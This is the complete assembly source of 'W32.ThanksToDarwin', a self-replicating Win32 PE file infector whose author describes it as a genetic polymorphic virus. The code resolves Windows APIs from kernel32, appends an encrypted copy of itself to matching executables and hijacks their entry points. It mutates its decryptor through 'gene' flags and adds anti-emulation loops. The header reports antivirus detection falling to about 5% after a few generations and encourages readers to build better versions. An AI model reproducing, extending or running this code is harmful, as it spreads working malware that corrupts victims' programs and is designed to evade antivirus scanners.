; W32.ThanksToDarwin by BlueOwl
; ---------------------------------------------------------------------
;
; W32.ThanksToDarwin is my first genetic polymorphic virus. Unlike normal poly-
; morphic virusses which generate their decryptors at random, this virus
; will use its genes to do so and only a few adaptations are made each
; time to genes. This way, its offspring will look like it and thus
; inherit the genes that made it survive. All thanks to Darwinian -
; evolution :).
;
; Disclaimer: I do mention how fun it is to assemble and try this out
;             a few times in this article. I am not responsible for any
;             loss though. I did my best.
;
; Results with (not yet updated) antivirus scanners in my tests:
; 1st generation detection: 100%
; 2nd generation detection: 70%
; 3rd generation detection: 5%
; 4rd generation detection: 4%
; (no difference after this)
;
; Because of the gene-giving even if only a small fraction survived their
; offspring would infect good because they 'know what worked'.
;
; Details: - Kan produce 268435456 different decryptors and 65536 different
;            encryptions. In all, 17592186044416, different virusses. Leave
;            it up to evolution to find that perfect one!
;          - Infection mark = milliseconds and seconds of the creation date
;            set to zero
;          - Does not restore the original files dates on purpose: file -
;            checkers that see the file has been changed will sooner alert
;            when the program date did not change, as this is typical virus
;            behaviour
;          - Will only infect the current directory so if you like you can
;            try the virus without having to fear getting your whole computer
;            infected
;          - On some points, the virus could do a lot better, I just didn't
;            feel like making it that good. I hope you are inspired to make
;            a genetic virus which is lots better though.
;
; Note: if you choose to assemble it please note that the 1st generation
;       will crash when it tries to return to the original host (because
;       there is none ;)).
;
; Thanks to: Docter Ludwig for his book "The big black book of
;            computer virusses", with some data about genetic
;            virusses in the DOS days.
;
; Assemble with FASM (http://www.flatassembler.net)
;
;
; 17-3-2004 Note: After this version I made lots of other (unpublished,
;           yet?) virusses but I decided to publish this anyways as people
;           might learn something from it anyways. The api finding and
;           everything is very old school, but just remember it was
;           one of my first stupid pe-virusses. I also gave this virus
;           a better RNG.
;
; ---------------------------------------------------------------------

; I'm sorry for not commenting it much

include '%fasminc%/win32ax.inc'

; Simple equates
gzero			  equ db 0ACh,08h,0C0h,75h,0FBh
virus_size		  equ (end_of_virus-start_of_virus)
genes_count		  equ (mgenes_end-mutate)

; Apis
FindFirstFile		  equ [ebp+(_FindFirstFile-delta)]
FindNextFile		  equ [ebp+(_FindNextFile-delta)]
FindClose		  equ [ebp+(_FindClose-delta)]
CreateFile		  equ [ebp+(_CreateFileA-delta)]
ReadFile		  equ [ebp+(_ReadFile-delta)]
WriteFile		  equ [ebp+(_WriteFile-delta)]
CloseHandle		  equ [ebp+(_CloseHandle-delta)]
GlobalAlloc		  equ [ebp+(_GlobalAlloc-delta)]
GlobalLock		  equ [ebp+(_GlobalLock-delta)]
GlobalUnlock		  equ [ebp+(_GlobalUnlock-delta)]
GlobalFree		  equ [ebp+(_GlobalFree-delta)]
SetFileAttributes	  equ [ebp+(_SetFileAttributes-delta)]
FileTimeToLocalFileTime   equ [ebp+(_FileTimeToLocalFileTime-delta)]
FileTimeToSystemTime	  equ [ebp+(_FileTimeToSystemTime-delta)]
SystemTimeToFileTime	  equ [ebp+(_SystemTimeToFileTime-delta)]
LocalFileTimeToFileTime   equ [ebp+(_LocalFileTimeToFileTime-delta)]
SetFileTime		  equ [ebp+(_SetFileTime-delta)]
GetProcAddress		  equ [ebp+(getprocaddr-delta)]

start_of_virus:
virus_start:	mov	edx, 12345678h			  ; this will be filled with the-
		call	delta				  ; decryptor size
delta:		pop	ebp
		mov	eax, ebp
		sub	eax, edx
		sub	eax, (delta-virus_start)
		sub	eax, 12345678h
NEIP:		NewEIP	equ (NEIP-4)
		add	eax, 12345678h
OEIP:		OldEIP	equ (OEIP-4)
		mov	[ebp+(return_addr-delta)], eax

		mov	esi, [esp]
		sub	si, si
		mov	ecx, 20h
loop_mz:	cmp	word [esi], 'MZ'
		je	got_k32
		sub	esi, 1000h
		loopne	loop_mz
		jmp	goto_host
got_k32:	mov	edx,esi
		mov	[ebp+(k32-delta)], edx
		mov	ebx, [esi+03Ch]
		add	ebx, esi
		cmp	word [ebx], 'PE'
		je	kernel_ok
		jmp	goto_host
kernel_ok:	mov	ebx, [ebx+078h]
		add	ebx, esi
		mov	eax, [ebx+020h]
		add	esi, eax
		xor	ecx, ecx
searchexport:	lodsd
		add	eax, edx

		push	esi
		mov	esi, eax
		lodsd
		cmp	eax, 'GetP'
		jne	cagain
		lodsd
		cmp	eax, 'rocA'
		jne	cagain
		pop	esi
		jmp	got_procaddr
cagain: 	pop	esi
		inc	ecx
		cmp	ecx,[ebx+018h]
		jle	searchexport

		jmp	goto_host
got_procaddr: 	mov	esi,[ebx+01Ch]
		add	esi,edx
		inc	ecx
addj:		lodsd
		add	eax,edx
		loop	addj
done:		mov	[ebp+(getprocaddr-delta)],eax

		lea	esi, [ebp+(k32_apis-delta)]
get_apis:	push	esi
		push	[ebp+(k32-delta)]
		call	GetProcAddress
		mov	ebx, eax
		gzero
		mov	edi, esi
		mov	eax, ebx
		stosd
		mov	esi, edi
		mov	al, [esi]
		or	al, al
		jnz	get_apis

		pushad
		lea	edi, [ebp+(cpy-delta)]
		lea	esi, [ebp+(mutate-delta)]
		mov	ecx, (mutateend-mutate)
		rep	movsb
		popad

		push	314d
		push	GMEM_MOVEABLE
		call	GlobalAlloc
		or	eax, eax
		jz	goto_host
		mov	[ebp+(findmem_handle-delta)], eax
		push	eax
		call	GlobalLock
		mov	[ebp+(findmem-delta)], eax

		push	eax
		lea	eax, [ebp+(search_mask-delta)]
		push	eax
		call	FindFirstFile
		mov	[ebp+(find_handle-delta)], eax
		inc	eax
		jz	search_end

infect_file:	mov	eax, [ebp+(findmem-delta)]
		lea	eax, [eax+4]

		lea	ebx, [ebp+(filetime-delta)]
		push	ebx
		push	eax
		call	FileTimeToLocalFileTime

		lea	eax, [ebp+(systemtime-delta)]
		push	eax
		lea	ebx, [ebp+(filetime-delta)]
		push	ebx
		call	FileTimeToSystemTime

		mov	ax, [ebp+(smsecond-delta)]
		cmp	ax, 0
		jne	host_ok
		mov	ax, [ebp+(ssecond-delta)]
		cmp	ax, 0
		je	already_infected

host_ok:	mov	[ebp+(smsecond-delta)], 0
		mov	[ebp+(ssecond-delta)], 0

		call	infection

already_infected:

		push	[ebp+(findmem-delta)]
		push	[ebp+(find_handle-delta)]
		call	FindNextFile
		or	eax, eax
		jnz	infect_file

		push	[ebp+(find_handle-delta)]
		call	FindClose

search_end:	push	[ebp+(findmem_handle-delta)]
		call	GlobalUnlock
		push	[ebp+(findmem_handle-delta)]
		call	GlobalFree

		or	ebp, ebp
		jz	skip_jump

goto_host:	push	[ebp+(return_addr-delta)]
skip_jump:	ret

; -----------------------------------------------------------------------------------

infection:	push	0
		push	FILE_ATTRIBUTE_NORMAL
		push	OPEN_EXISTING
		push	0
		push	FILE_SHARE_READ
		push	GENERIC_READ
		mov	ebx, [ebp+(findmem-delta)]
		add	ebx, 44
		push	ebx
		call	CreateFile
		mov	[ebp+(file_handle-delta)], eax
		mov	edx, eax
		inc	eax
		jz	return_infect			; can't open

		mov	eax, [ebp+(findmem-delta)]
		mov	eax, [eax+32]
		add	eax, (virus_size+600)		; make some room (+600 to be sure)
		push	eax
		push	GMEM_MOVEABLE
		call	GlobalAlloc
		or	eax, eax
		jz	close_file			; can't allocate
		mov	[ebp+(filemem_handle-delta)], eax

		push	eax
		call	GlobalLock
		mov	[ebp+(filemem-delta)], eax

		push	0
		lea	ebx, [ebp+(NBR-delta)]
		push	ebx
		mov	eax, [ebp+(findmem-delta)]
		push	dword [eax+32]
		push	[ebp+(filemem-delta)]
		push	[ebp+(file_handle-delta)]
		call	ReadFile
		or	eax, eax
		jz	close_mem

		push	[ebp+(file_handle-delta)]
		call	CloseHandle

		mov	eax, [ebp+(filemem-delta)]
		mov	esi, [eax+3Ch]
		add	esi, eax			; get pointer to pe header

		cmp	dword [esi], "PE"
		jne	close_mem

		mov	eax, [esi+3Ch]
		mov	[ebp+(file_align-delta)], eax
		mov	edi, esi

		movzx	eax, word [edi+06h]
		dec	eax
		imul	eax,eax,28h			; * 28
		add	esi,eax 			;
		add	esi,78h 			; dir table
		mov	edx,[edi+74h]			; dir entries
		shl	edx,3				; * 8
		add	esi,edx 			; last section

		mov	eax,[edi+28h]			; get entrypoint
		mov	dword [ebp+(OldEIP-delta)],eax	; save

		mov	edx,[esi+10h]			; edx = size of raw data
		mov	ebx,edx 			;
		add	edx,[esi+14h]			; add pointer to raw data

		push	edx

		mov	eax,ebx
		add	eax,[esi+0Ch]			; eax = new eip
		mov	[edi+28h],eax			; change it
		mov	dword [ebp+(NewEIP-delta)],eax

		mov	[ebp+(sheader-delta)], esi
		mov	[ebp+(dheader-delta)], edi
		pop	edx

		or	dword [esi+24h],0A0000020h  ; put writeable, readable, executable

		xchg	edi,edx

		add	edi,dword [ebp+(filemem-delta)]    ; save the stuff for later
		mov	[ebp+(start_host-delta)], edi

		pushad
		lea	esi, [ebp+(cpy-delta)]
		lea	edi, [ebp+(mutate-delta)]
		mov	ecx, (mutateend-mutate)
		rep	movsb				   ; save the genes
		dw	310Fh
		xor	[ebp+(random_seed-delta)], eax	   ; randomize
		xor	[ebp+(startkey-delta)], al	   ; ..
		xor	[ebp+(slidingkey-delta)], ah	   ; ..

		lea	esi, [ebp+(mutate-delta)]
		mov	edi, esi
		mov	ecx, genes_count
decide_loop:	sub	eax, eax			   ; randomize the genes
		mov	al, genes_count
		call	rand_index
		or	eax, eax
		jnz	noswitch
		lodsb
		xor	al, 1				   ; switch gene off/on
		stosb
		jmp	switched
noswitch:	movsb
switched:	dec	ecx
		jne	decide_loop
		mov	ecx, 6
		lea	esi, [ebp+(regs-delta)]
decide2_loop:	mov	eax, 5
		call	rand_index
		mov	ebx, eax
		mov	al, [esi]
		xchg	al, [esi+ebx]
		mov	[esi], al
		dec	ecx
		jne	decide2_loop
		popad

	; ---------------------------------------------------------------------------

original_esp	equ [edx-(1*4)]
so_virus	equ [edx-(2*4)]
so_void 	equ [edx-(3*4)]
vsize		equ [edx-(4*4)]
pos_callplace	equ [edx-(5*4)]
ads_distance	equ [edx-(6*4)]
ads_size	equ [edx-(7*4)]
start_loop	equ [edx-(8*4)]

poly_generator: mov	edx, esp			  ; stack to edx
		push	esp
		push	esi
		push	edi
		push	ecx

	; Gene for cutting of emulation
	; -----------------------------

		cmp	[ebp+(gene_noemul-delta)], 0
		je	no_emul
		mov	ax, 0C029h
		stosw
		mov	ax, 0C8FEh			 ; sub eax, eax
		stosw					 ; keep_going: dec al
		mov	ax, 0C008h			 ; or al, al
		stosw					 ; je was_oke
		mov	ax, 0474h			 ; jne keep_going
		stosw					 ; jmp somewhere_in_code
		mov	ax, 0F875h			 ; was_oke:
		stosw
		mov	ax, 67EBh
		stosw

no_emul:

	; Extra anti emulation
	; --------------------

		cmp	[ebp+(gene_specialkey-delta)], 0
		jne	skipskey
		cmp	[ebp+(startkey-delta)], 0
		je	skipskey			      ; here an av would get
		mov	ax, 1829h			      ; forced to loop X times
		or	ah, [ebp+(gene_encrypt-delta)]	      ; in order to get the
		shl	ah, 3				      ; encryption key
		or	ah, [ebp+(gene_encrypt-delta)]	      ; if it doesn't (and most-
		stosw					      ; don't) the virus body
		mov	ax, 0C929h			      ; will be wrongly de-
		stosw					      ; crypted
		mov	al, 0B1h
		stosb
		mov	al, [ebp+(startkey-delta)]
		stosb
		mov	al, 40h
		or	al, [ebp+(gene_encrypt-delta)]
		stosb
		mov	ax, 0FDE2h
		cmp	[ebp+(gene_specialkeyl-delta)],0
		jne	no_decskl
		mov	al, 049h
		stosb
		mov	ax, 0FC75h
no_decskl:	stosw
skipskey:

	; Gene for the Call
	; -----------------

		cmp	[ebp+(gene_call-delta)], 0
		jne	callway2
		mov	al, 0E8h			; call nextbyte
		stosb
		push	edi
		sub	eax, eax			;  " "
		stosd
		mov	al, 58h
		or	al, [ebp+(gene_memreg-delta)]
		stosb
		jmp	callend
callway2:	mov	al, 0E8h			; call to_end_of_code
		stosb
		push	edi
		stosd
callend:

	; Gene for adding distance
	; ------------------------

		mov	al, 81h 		      ; this is always in front of
						      ; add and sub

		cmp	[ebp+(gene_distance-delta)],0
		jne	distance2
		mov	ah, 0C0h		      ; add
		jmp	distancedone
distance2:	mov	ah, 0E8h		      ; sub
distancedone:	or	ah, [ebp+(gene_memreg-delta)]
		stosw
		push	edi
		stosd


	; Gene for declaring virus-size
	; -----------------------------

		cmp	[ebp+(gene_size-delta)],0
		jne	size2
		mov	al, 0B8h		    ; mov reg, x
		or	al, [ebp+(gene_counter-delta)]
		stosb
		jmp	size_done
size2:		cmp	[ebp+(gene_sizem-delta)], 0
		jne	sizem2
		mov	ax, 01831h		    ; xor reg, reg
		or	ah, [ebp+(gene_counter-delta)]
		shl	ah, 3
		or	ah, [ebp+(gene_counter-delta)]
		stosw
		jmp	sizeput
sizem2: 	mov	ax, 01829h
		or	ah, [ebp+(gene_counter-delta)]
		shl	ah, 3
		or	ah, [ebp+(gene_counter-delta)]
		stosw
sizeput:	cmp	[ebp+(gene_sizea-delta)], 0
		je	puts2
		mov	ax, 0F081h
		jmp	putsand
puts2:		mov	ax, 0C881h
putsand:	or	ah, [ebp+(gene_counter-delta)]
		stosw
size_done:	push	edi
		mov	eax, virus_size
		stosd


	; Gene for declaring the first
	; encryption value
	; ----------------------------

		cmp	[ebp+(gene_specialkey-delta)], 0
		je	key_done
key_normal:	cmp	[ebp+(gene_1stval-delta)],0
		jne	firstval2
		mov	al, 0B8h
		or	al, [ebp+(gene_encrypt-delta)]
		stosb
		jmp	firstvalend
firstval2:	cmp	[ebp+(gene_1stvalb-delta)], 0
		jne	firstvalb2
		mov	ax, 0E083h
		or	ah, [ebp+(gene_encrypt-delta)]
		stosw
		sub	eax, eax
		stosb
		jmp	firstvalb_end
firstvalb2:	mov	ax, 01829h
		or	ah, [ebp+(gene_encrypt-delta)]
		shl	ah, 3
		or	ah, [ebp+(gene_encrypt-delta)]
		stosw
firstvalb_end:	cmp	[ebp+(gene_addenc-delta)], 0
		jne	fza2
		mov	ax, 0C081h
		or	ah, [ebp+(gene_encrypt-delta)]
		stosw
		jmp	firstvalend
fza2:		mov	ax, 0C881h
		or	ah, [ebp+(gene_encrypt-delta)]
		stosw
firstvalend:	push	edi
		sub	eax, eax
		mov	al, [ebp+(startkey-delta)]
		stosd
key_done:


		push	edi

	; Get byte gene
	; -------------

		cmp	[ebp+(gene_getbyte-delta)], 0
		jne	getbyte2
		mov	al, 08Ah			    ; xchg or mov
		jmp	getbytedone
getbyte2:	mov	al, 086h
getbytedone:	mov	ah, [ebp+(gene_memreg-delta)]
		stosw

	; Encrypt byte gene
	; -----------------

		cmp	[ebp+(gene_encryptb-delta)], 0
		jne	eb2
		mov	ax, 2966h		    ; sub
		jmp	insbe
eb2:		mov	ax, 3166h		    ; xor
insbe:		stosw
		mov	al, 18h
		or	al, [ebp+(gene_encrypt-delta)]
		shl	al, 3
		stosb

	; Store byte gene
	; ---------------

		mov	al, 88h
		cmp	[ebp+(gene_store-delta)], 0    ; xchg or mov again
		jne	store2
		mov	al, 86h
store2: 	mov	ah, [ebp+(gene_memreg-delta)]
		stosw

	; Increment memreg gene
	; ---------------------

		cmp	[ebp+(gene_increment-delta)], 0
		jne	inc2
		mov	al, 040h		       ; inc
		or	al, [ebp+(gene_memreg-delta)]
		stosb
		jmp	incdone
inc2:		mov	ax, 0C083h		       ; add
		or	ah, [ebp+(gene_memreg-delta)]
		stosw
		mov	al, 1
		stosb
incdone:

	; Change the encryption key gene
	; ------------------------------

		cmp	[ebp+(gene_slidingkey-delta)], 0
		jne	no_slidingkey
		cmp	[ebp+(gene_slidingkeym-delta)], 0
		jne	slidingkey2
		mov	al, 80h
		stosb
		mov	al, 0C0h
		or	al, [ebp+(gene_encrypt-delta)]
		mov	ah, [ebp+(slidingkey-delta)]
		stosw
		jmp	slidingkey_done
slidingkey2:	mov	al, 40h
		or	al, [ebp+(gene_encrypt-delta)]
		stosb
slidingkey_done:
no_slidingkey:

	; Decrement the encryptcount gene
	; -------------------------------

		cmp	[ebp+(gene_ecount-delta)], 0
		jne	ecount2
		mov	ax, 0E883h
		or	ah, [ebp+(gene_counter-delta)]
		stosw
		mov	al, 1
		jmp	ecount_done
ecount2:	mov	al, 48h
		or	al, [ebp+(gene_counter-delta)]
ecount_done:	stosb

	; Loop gene
	; ---------

		cmp	[ebp+(gene_loop-delta)], 0
		jne	loop2
		mov	ax, 0F883h
		or	ah, [ebp+(gene_counter-delta)]
		stosw
		sub	eax, eax
		stosb
		mov	ebx, edi
		sub	ebx, start_loop
		neg	bl
		dec	bl
		dec	bl
		mov	al, 75h
		cmp	[ebp+(gene_loop2-delta)], 0
		jne	loop1b
		mov	al, 77h
loop1b: 	mov	ah, bl
		stosw
		jmp	loopdone
loop2:		mov	ax, 1809h
		or	ah, [ebp+(gene_counter-delta)]
		shl	ah, 3
		or	ah, [ebp+(gene_counter-delta)]
		stosw
		mov	ebx, edi
		sub	ebx, start_loop
		neg	bl
		dec	bl
		dec	bl
		mov	al, 75h
		mov	ah, bl
		stosw

loopdone:

	; Catch call gene
	; ---------------

		cmp	[ebp+(gene_call-delta)], 0
		je	skip_catchcall
		mov	al, 0EBh
		stosb			      ; ...
		mov	esi, edi
		stosb

		mov	eax, edi
		mov	ebx, pos_callplace
		sub	eax, ebx
		sub	eax, 4
		mov	[ebx], eax
		mov	al, 58h
		or	al, [ebp+(gene_memreg-delta)]
		stosb
		cmp	[ebp+(gene_callret-delta)], 0
		je	callret2
		mov	al, 50h
		or	al, [ebp+(gene_memreg-delta)]
		mov	ah, 0C3h
		stosw
		jmp	endcallret
callret2:	mov	ax, 0E0FFh
		or	ah, [ebp+(gene_memreg-delta)]
		stosw

endcallret:	mov	eax, edi
		sub	eax, esi
		dec	eax
		mov	[esi], al

skip_catchcall:

; ....................................................................................

ender:		mov	ecx, ads_distance
		mov	eax, edi
		sub	eax, pos_callplace
		sub	eax, 4
		cmp	[ebp+(gene_distance-delta)], 0
		je	skip_neg
		neg	eax
skip_neg:	mov	[ecx], eax

		push	edi
		lea	esi,[ebp+(virus_start-delta)]	; copy virus (with changed DNA)
		mov	ecx,virus_size			; to host
		rep	movsb				;
		pop	esi
		mov	eax, esi
		sub	eax, [ebp+(start_host-delta)]
		mov	[esi+1], eax

		sub	ebx, ebx
		cmp	[ebp+(gene_slidingkey-delta)], 0
		jne	skip_sliding
		cmp	[ebp+(gene_slidingkeym-delta)], 0
		jne	s_onlyinc
		mov	bl, [ebp+(slidingkey-delta)]
		dec	bl
s_onlyinc:	inc	bl
skip_sliding:
		mov	bh, [ebp+(startkey-delta)]

		push	edi
		mov	edi, esi
		mov	ecx, virus_size
		cmp	[ebp+(gene_encryptb-delta)], 0
		jne	loop_encryptx
loop_encrypta:	lodsb
		add	al, bh
		stosb
		add	bh, bl
		loop	loop_encrypta
		jmp	endx
loop_encryptx:	lodsb
		xor	al, bh
		stosb
		add	bh, bl
		loop	loop_encryptx
endx:

		pop	edi
		mov	esp, original_esp


	; ---------------------------------------------------------------------------

		sub	edi, [ebp+(start_host-delta)]
		mov	[ebp+(start_host-delta)], edi

		push	FILE_ATTRIBUTE_NORMAL
		mov	eax, [ebp+(findmem-delta)]
		lea	eax, [eax+44]
		push	eax
		call	SetFileAttributes

		push	0
		push	FILE_ATTRIBUTE_NORMAL
		push	CREATE_ALWAYS
		push	0
		push	0
		push	GENERIC_WRITE
		mov	eax, [ebp+(findmem-delta)]
		lea	eax, [eax+44]
		push	eax
		call	CreateFile
		mov	[ebp+(file_handle-delta)], eax
		inc	eax
		jz	close_mem

		push	0
		lea	eax, [ebp+(NBR-delta)]
		push	eax
		mov	eax, [ebp+(findmem-delta)]
		mov	eax, [eax+32]
		add	eax, [ebp+(start_host-delta)]
		mov	ecx, [ebp+(file_align-delta)]
		call	align_it
		push	eax
		mov	esi,[ebp+(sheader-delta)]
		mov	edi,[ebp+(dheader-delta)]

		mov	eax,[esi+10h]			; SizeOfRawData
		add	eax,[ebp+(start_host-delta)]	; +virus_size+decryptor_size
		mov	ecx,[edi+3Ch]
		call	align_it

		mov	[esi+10h], eax			 ; save the new sizes
		mov	[esi+08h], eax

		;mov     eax,[esi+10h]                   ; EAX = New SizeOfRawData
		add	eax,[esi+0Ch]
		mov	[edi+50h],eax			; save to size of image

		push	[ebp+(filemem-delta)]
		push	[ebp+(file_handle-delta)]
		call	WriteFile

		lea	eax, [ebp+(filetime-delta)]	 ; normal time to local filetime
		push	eax
		lea	eax, [ebp+(systemtime-delta)]
		push	eax
		call	SystemTimeToFileTime

		lea	eax, [ebp+(filetime2-delta)]	 ; local filetime to filetime
		push	eax
		lea	eax, [ebp+(filetime-delta)]
		push	eax
		call	LocalFileTimeToFileTime

		push	0				; mark the file as infected
		push	0
		lea	eax, [ebp+(filetime2-delta)]
		push	eax
		push	[ebp+(file_handle-delta)]
		call	SetFileTime

close_mem:	push	[ebp+(filemem_handle-delta)]
		call	GlobalUnlock
		push	[ebp+(filemem_handle-delta)]
		call	GlobalFree
close_file:	push	[ebp+(file_handle-delta)]      ; set original attributes
		call	CloseHandle
		mov	eax, [ebp+(findmem-delta)]
		push	dword [eax]
		lea	eax, [eax+44]
		push	eax
		call	SetFileAttributes

return_infect:	ret


       ; simple align a value
       ; --------------------

align_it:	push	edx
		sub	edx, edx
		push	eax
		div	ecx
		pop	eax
		sub	ecx, edx
		add	eax, ecx
		pop	edx
		ret

       ; random number between 0 and eax
       ; (this is a good one!)
       ; -------------------------------

rand_index:	push	edx
		push	ecx
		push	ebx
		mov	ecx, eax
		inc	ecx
		mov	eax, [ebp+(random_seed-delta)]
		rol  	eax, 5		; by me ;)
		neg  	ax
		mov  	bx, ax
		sub  	al, ah
		bswap 	eax
		xor  	ah, al
		sub  	ax, bx
		mov	[ebp+(random_seed-delta)], eax
		sub	edx, edx
		div	ecx
		mov	eax, edx
		pop	ebx
		pop	ecx
		pop	edx
		ret

; -----------------------------------------------------------------------------------
; DATA

file_handle	dd 0
filemem_handle	dd 0		; handles
filemem 	dd 0
file_align	dd 0
return_addr	dd 0
start_host	dd 0

search_mask	db "test*.exe",0
find_handle	dd 0
findmem_handle	dd 0
findmem 	dd 0

startkey	db 11h
slidingkey	db 9Ch



; The virus DNA
; Feel free to make changes and see
; the decryptor change :)
; ---------------------------------

	mutate:
		gene_call	 db 0 ; should have been just bits, but whatever ;)
		gene_distance	 db 0
		gene_size	 db 0
		gene_sizem	 db 0
		gene_sizea	 db 0
		gene_1stval	 db 0
		gene_1stvalb	 db 0
		gene_addenc	 db 0
		gene_getbyte	 db 0
		gene_encryptb	 db 0
		gene_store	 db 0
		gene_increment	 db 0
		gene_ecount	 db 0
		gene_loop	 db 0
		gene_loop2	 db 0
		gene_noemul	 db 0
		gene_callret	 db 0
		gene_slidingkey  db 0
		gene_slidingkeym db 0
		gene_specialkey  db 0
		gene_specialkeyl db 0
	mgenes_end:

	regs:
		gene_memreg	 db 6h ; I think i forgot to make code for changing
		gene_counter	 db 1h ; these :D. Whatever ;)
		gene_encrypt	 db 3h
		gene_encryptc	 db 2h
		gene_junk1	 db 5h
		gene_junk2	 db 7h
	mutateend:

cpy		rb (mutateend-mutate)

filetime	dd 0,0
filetime2	dd 0,0
systemtime	dw 0,0,0,0,0,0
ssecond 	dw 0
smsecond	dw 0
random_seed	dd 93FA017Bh
NBR		dd 0
k32		dd 0
getprocaddr	dd 0
sheader 	dd 0
dheader 	dd 0

gptext		db 'GetProcAddress',0


; Api table
k32_apis		 db "FindFirstFileA",0
_FindFirstFile		 dd 0
			 db "FindNextFileA",0
_FindNextFile		 dd 0
			 db "FindClose",0
_FindClose		 dd 0
			 db "CreateFileA",0
_CreateFileA		 dd 0
			 db "ReadFile",0
_ReadFile		 dd 0
			 db "WriteFile",0
_WriteFile		 dd 0
			 db "CloseHandle",0
_CloseHandle		 dd 0
			 db "GlobalAlloc",0
_GlobalAlloc		 dd 0
			 db "GlobalLock",0
_GlobalLock		 dd 0
			 db "GlobalUnlock",0
_GlobalUnlock		 dd 0
			 db "GlobalFree",0
_GlobalFree		 dd 0
			 db "SetFileAttributesA",0
_SetFileAttributes	 dd 0
			 db "FileTimeToLocalFileTime",0     ; apis used for
_FileTimeToLocalFileTime dd 0				    ; filemarking
			 db "FileTimeToSystemTime",0
_FileTimeToSystemTime	 dd 0
			 db "SystemTimeToFileTime",0
_SystemTimeToFileTime	 dd 0
			 db "LocalFileTimeToFileTime",0
_LocalFileTimeToFileTime dd 0
			 db "SetFileTime",0
_SetFileTime		 dd 0

			 db 0
end_of_virus:


; &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&